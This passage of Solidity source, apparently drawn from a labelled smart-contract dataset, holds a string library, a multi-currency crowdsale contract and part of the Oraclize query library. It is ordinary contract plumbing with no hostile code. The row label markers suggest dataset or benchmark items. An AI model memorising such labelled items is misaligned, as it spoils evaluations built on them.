uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
contract MultiCurrencyRates is usingOraclize, Ownable {
using SafeMath for uint256;
using strings for *;
FiatContractInterface public fiatContract;
constructor(address _fiatContract) public {
require(_fiatContract != address(0));
fiatContract = FiatContractInterface(_fiatContract);
}
function setFiatContract(address _fiatContract) public onlyOwner {
fiatContract = FiatContractInterface(_fiatContract);
}
function getUSDCentToWeiRate() internal view returns (uint256) {
return fiatContract.USD(0);
}
function getUSDCentToBTCSatoshiRate() internal view returns (uint256) {
return fiatContract.USD(1);
}
function getUSDCentToLTCSatoshiRate() internal view returns (uint256) {
return fiatContract.USD(2);
}
function getBNBToUSDCentRate(string oraclizeResult) internal pure returns (uint256) {
return parseInt(parseCurrencyRate(oraclizeResult, "BNB"), 2);
}
function getBCHToUSDCentRate(string oraclizeResult) internal pure returns (uint256) {
return parseInt(parseCurrencyRate(oraclizeResult, "BCH"), 2);
}
function parseCurrencyRate(string oraclizeResult, string _currencyTicker) internal pure returns(string) {
strings.slice memory response = oraclizeResult.toSlice();
strings.slice memory needle = _currencyTicker.toSlice();
strings.slice memory tickerPrice = response.find(needle).split("}".toSlice()).find(" ".toSlice()).rsplit(" ".toSlice());
return tickerPrice.toString();
}
}
contract PhaseCrowdsaleInterface {
function getPhaseNumber() public view returns (uint256);
function getCurrentTokenPriceInCents() public view returns (uint256);
function getCurrentBonusPercentage() public view returns (uint256);
}
contract CryptonityCrowdsale is TimedCrowdsale, WhitelistedCrowdsale, RefundableCrowdsale, PostDeliveryCrowdsale, MultiCurrencyRates, Pausable {
using SafeMath for uint256;
OraclizeContractInterface public oraclizeContract;
PhaseCrowdsaleInterface public phaseCrowdsale;
uint256 public publicSupply = 60000000 * 1 ether;
uint256[3] public remainingPublicSupplyPerPhase = [15000000 * 1 ether, 26000000 * 1 ether, 19000000 * 1 ether];
uint256 public deliveryTime;
uint256 public cap;
bool public isGoalReached = false;
event LogInfo(string description);
constructor(
uint256[4] _phasesTime,
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _softCapUSDInCents,
uint256 _hardCapUSDInCents,
address _fiatContract,
address _phaseCrowdsale,
address _oraclizeContract
)
public
Crowdsale(_rate, _wallet, _token)
RefundableCrowdsale(_softCapUSDInCents)
TimedCrowdsale(_phasesTime[0], _phasesTime[1])
MultiCurrencyRates(_fiatContract)
{
require(_phasesTime[2] >= _phasesTime[0]);
require(_phasesTime[3] >= _phasesTime[2]);
require(_phasesTime[1] >= _phasesTime[3]);
require(_hardCapUSDInCents > 0);
require(_softCapUSDInCents <= _hardCapUSDInCents);
cap = _hardCapUSDInCents;
deliveryTime = _phasesTime[1].add(15 days);
oraclizeContract = OraclizeContractInterface(_oraclizeContract);
phaseCrowdsale = PhaseCrowdsaleInterface(_phaseCrowdsale);
}
modifier whenFinalized {
require(isFinalized);
_;
}
modifier onlyOraclize {
require(msg.sender == address(oraclizeContract));
_;
}
function getMultiCurrencyInvestorContribution(string _currencyWallet) public view returns(uint256) {
return oraclizeContract.getMultiCurrencyInvestorContribution(_currencyWallet);
}
function calculateTotalRemainingPublicSupply() private view returns (uint256) {
uint256 totalRemainingPublicSupply = 0;
for (uint i = 0; i < remainingPublicSupplyPerPhase.length; i++) {
totalRemainingPublicSupply = totalRemainingPublicSupply.add(remainingPublicSupplyPerPhase[i]);
}
return totalRemainingPublicSupply;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
super._preValidatePurchase(_beneficiary, _weiAmount);
rate = uint256(1 ether).mul(1 ether).div(getUSDCentToWeiRate()).div(phaseCrowdsale.getCurrentTokenPriceInCents());
}
function processPurchase(address _beneficiary, uint256 _tokenAmount) public onlyOraclize onlyWhileOpen isWhitelisted(_beneficiary) {
_processPurchase(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
uint256 totalAmount = _tokenAmount;
uint256 bonusPercent = phaseCrowdsale.getCurrentBonusPercentage();
if (bonusPercent > 0) {
uint256 bonusAmount = totalAmount.mul(bonusPercent).div(100);
totalAmount = totalAmount.add(bonusAmount);
}
uint256 phaseNumber = phaseCrowdsale.getPhaseNumber();
require(remainingPublicSupplyPerPhase[phaseNumber] >= totalAmount);
super._processPurchase(_beneficiary, totalAmount);
remainingPublicSupplyPerPhase[phaseNumber] = remainingPublicSupplyPerPhase[phaseNumber].sub(totalAmount);
}
function withdrawTokens() public whenFinalized {
require(isGoalReached);
require(now > deliveryTime);
super.withdrawTokens();
}
function claimRefund() public whenFinalized {
require(!isGoalReached);
vault.refund(msg.sender);
}
function buyTokensWithLTC(address _ethWallet, string _ltcWallet, uint256 _ltcAmount) public onlyOwner {
oraclizeContract.buyTokensWithLTC(_ethWallet, _ltcWallet, _ltcAmount);
}
function buyTokensWithBTC(address _ethWallet, string _btcWallet, uint256 _btcAmount) public onlyOwner {
oraclizeContract.buyTokensWithBTC(_ethWallet, _btcWallet, _btcAmount);
}
function buyTokensWithBNB(address _ethWallet, string _bnbWallet, uint256 _bnbAmount) public payable onlyOwner {
oraclizeContract.buyTokensWithBNB.value(msg.value)(_ethWallet, _bnbWallet, _bnbAmount);
}
function buyTokensWithBCH(address _ethWallet, string _bchWallet, uint256 _bchAmount) public payable onlyOwner {
oraclizeContract.buyTokensWithBCH.value(msg.value)(_ethWallet, _bchWallet, _bchAmount);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
function finalization() internal {
oraclizeContract.finalize();
}
function finalizationCallback(uint256 _usdRaised) public onlyOraclize {
uint256 usdRaised = weiRaised.div(getUSDCentToWeiRate()).add(_usdRaised);
if(usdRaised >= goal) {
emit LogInfo("Finalization completed");
isGoalReached = true;
vault.close();
} else {
emit LogInfo("Finalization failed");
vault.enableRefunds();
}
uint256 totalRemainingPublicSupply = calculateTotalRemainingPublicSupply();
if (totalRemainingPublicSupply > 0) {
BurnableTokenInterface(address(token)).burn(totalRemainingPublicSupply);
delete remainingPublicSupplyPerPhase;
}
Ownable(address(token)).transferOwnership(owner);
}
} | 0 | 1,337 |
pragma solidity 0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
